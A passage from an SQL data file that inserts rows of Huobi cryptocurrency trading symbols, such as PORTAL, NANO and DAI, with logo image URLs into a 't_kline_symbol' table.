NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (494, 'huobi', 'portal', 'PORTAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/portal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (495, 'huobi', 'man', 'MAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MatrixAINetwork.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (496, 'huobi', 'get', 'GET', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/get-protocol.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (497, 'huobi', 'pc', 'PC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/promotion-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (498, 'huobi', 'eosdac', 'EOSDAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosdac.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (499, 'huobi', 'ae', 'AE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aeternity.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (500, 'huobi', 'bkbt', 'BKBT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/beekan.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (501, 'huobi', 'gve', 'GVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/globalvillage-ecosystem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (502, 'huobi', 'seele', 'SEELE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seele.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (503, 'huobi', 'fti', 'FTI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fanstime.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (504, 'huobi', 'ekt', 'EKT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/educare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (505, 'huobi', 'xmx', 'XMX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xmax.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (506, 'huobi', 'ycc', 'YCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ycc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (507, 'huobi', 'fair', 'FAIR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/faircoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (508, 'huobi', 'ssp', 'SSP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/smartshare.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (509, 'huobi', 'eon', 'EON', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (510, 'huobi', 'eop', 'EOP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eospace.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (511, 'huobi', 'lym', 'LYM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lympo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (512, 'huobi', 'zjlt', 'ZJLT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zjlt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (513, 'huobi', 'meetone', 'MEETONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/meetone.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (514, 'huobi', 'pnt', 'PNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pnetwork.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (515, 'huobi', 'idt', 'IDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/investdigital.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (516, 'huobi', 'dac', 'DAC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacash.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (517, 'huobi', 'bcv', 'BCV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcapitalvendor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (518, 'huobi', 'sexc', 'SEXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (519, 'huobi', 'tos', 'TOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thingsopreatingsystem.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (520, 'huobi', 'musk', 'MUSK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MuskProject.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (521, 'huobi', 'add', 'ADD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/add.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (522, 'huobi', 'mt', 'MT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mytoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (523, 'huobi', 'kcash', 'KCASH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kcash.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (524, 'huobi', 'iq', 'IQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everipedia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (525, 'huobi', 'ncc', 'NCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurochain-clausius.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (526, 'huobi', 'rccc', 'RCCC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rccc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (527, 'huobi', 'hpt', 'HPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (528, 'huobi', 'cvnx', 'CVNX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crypviser.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (529, 'huobi', 'rte', 'RTE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rate3.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (530, 'huobi', 'trio', 'TRIO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tripio.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (531, 'huobi', 'ardr', 'ARDR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ardor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (532, 'huobi', 'nano', 'NANO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (533, 'huobi', 'gusd', 'GUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (534, 'huobi', 'tusd', 'TUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trueusd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (535, 'huobi', 'usdp', 'USDP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paxos-standard.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (536, 'huobi', 'husd', 'HUSD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stcoins.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (537, 'huobi', 'rbtc', 'RBTC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rsk.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (538, 'huobi', 'bsv', 'BSV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-cash-sv.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (539, 'huobi', 'dock', 'DOCK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dock.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (540, 'huobi', 'mxc', 'MXC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mxc.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (541, 'huobi', 'wgp', 'WGP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/w-green-pay.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (542, 'huobi', 'nuls', 'NULS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nuls.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (543, 'huobi', 'cova', 'COVA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cova-unity.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (544, 'huobi', 'lamb', 'LAMB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/lamb.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (545, 'huobi', 'cvnt', 'CVNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/content-value-network.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (546, 'huobi', 'btt', 'BTT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bittorrent-new.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (547, 'huobi', 'kmd', 'KMD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/komodo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (548, 'huobi', 'mgo', 'MGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/mobilegotoken.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (549, 'huobi', 'abl', 'ABL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abl.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (550, 'huobi', 'loom', 'LOOM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/loom-networknew.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (551, 'huobi', 'nexo', 'NEXO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nexo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (552, 'huobi', 'mzk', 'MZK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/muzika.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (553, 'huobi', 'etn', 'ETN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/electroneum.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (554, 'huobi', 'npxs', 'NPXS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pundi-x.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (555, 'huobi', 'top', 'TOP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/top-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (556, 'huobi', 'adt', 'ADT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adtoken.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (557, 'huobi', 'mvl', 'MVL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mass-vehicle-ledger.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (558, 'huobi', 'iris', 'IRIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/irisnet.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (559, 'huobi', 'hvt', 'HVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hvt.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (560, 'huobi', 'tfuel', 'TFUEL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thetafuel.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (561, 'huobi', 'ugas', 'UGAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugas.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (562, 'huobi', 'new', 'NEW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/new.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (563, 'huobi', 'inc', 'INC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/influence-chain.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (564, 'huobi', 'tt', 'TT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thundercore.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (565, 'huobi', 'cro', 'CRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cro.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (566, 'huobi', 'ogo', 'OGO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/origo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (567, 'huobi', 'fsn', 'FSN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fusion.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (568, 'huobi', 'atp', 'ATP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atlas-protocol.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (569, 'huobi', 'skm', 'SKM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skrumble-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (570, 'huobi', 'egt', 'EGT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/egretia.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (571, 'huobi', 'akro', 'AKRO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3b2d7b7c70c7be4faece2ccb1d8f1dca.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (572, 'huobi', 'pvt', 'PVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/5e484725dfdc5a0acb79a98b340f58b7.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (573, 'huobi', 'cnns', 'CNNS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/17ffaa542e2c4d025632fc8342bd44c4.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (574, 'huobi', 'hbc', 'HBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/homeblockcoin.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (575, 'huobi', 'gt', 'GT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gatechain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (576, 'huobi', 'pizza', 'PIZZA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pizzacoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (577, 'huobi', 'vsys', 'VSYS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/v-systems.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (578, 'huobi', 'cre', 'CRE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carry.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (579, 'huobi', 'lol', 'LOL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/emogi-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (580, 'huobi', 'wxt', 'WXT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/wirex.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (581, 'huobi', 'for', 'FOR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/forceprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (582, 'huobi', 'vidy', 'VIDY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/14b1c6080c07e49b86cc06615267c722.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (583, 'huobi', 'node', 'NODE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whole-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (584, 'huobi', 'bhd', 'BHD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-hd.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (585, 'huobi', 'mx', 'MX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/mxtoken.png/coinInfo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (586, 'huobi', 'em', 'EM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/eminer.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (587, 'huobi', 'eoss', 'EOSS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (588, 'huobi', 'try', 'TRY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/3727d7a1abf045241637724fd5ecbf3c.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (589, 'huobi', 'hive', 'HIVE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hive.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (590, 'huobi', 'jst', 'JST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (591, 'huobi', 'btc3l', 'BTC3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (592, 'huobi', 'btc3s', 'BTC3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (593, 'huobi', 'btc1s', 'BTC1S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (594, 'huobi', 'nest', 'NEST', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nest.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (595, 'huobi', 'usd01', 'USD01', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (596, 'huobi', 'lunc', 'LUNC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-luna.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (597, 'huobi', 'eth3l', 'ETH3L', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (598, 'huobi', 'eth3s', 'ETH3S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (599, 'huobi', 'eth1s', 'ETH1S', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (600, 'huobi', 'nvt', 'NVT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nvt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (601, 'huobi', 'dai', 'DAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dai.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (602, 'huobi', 'dka', 'DKA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkargo.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (603, 'huobi', 'lend', 'LEND', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethlend.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (604, 'huobi', 'stpt', 'STPT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/standardtokenizationprotocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (605, 'huobi', 'wnxm', 'WNXM', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-nxm.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (606, 'huobi', 'yfii', 'YFII', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yfii-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (607, 'huobi', 'bnt', 'BNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancor.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (608, 'huobi', 'df', 'DF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dforce-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (609, 'huobi', 'spa', 'SPA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sperax.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (610, 'huobi', 'mln', 'MLN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/melon.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (611, 'huobi', 'ring', 'RING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/darwinia-network-native-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (612, 'huobi', 'mta', 'MTA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mstable.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (613, 'huobi', 'value', 'VALUE', 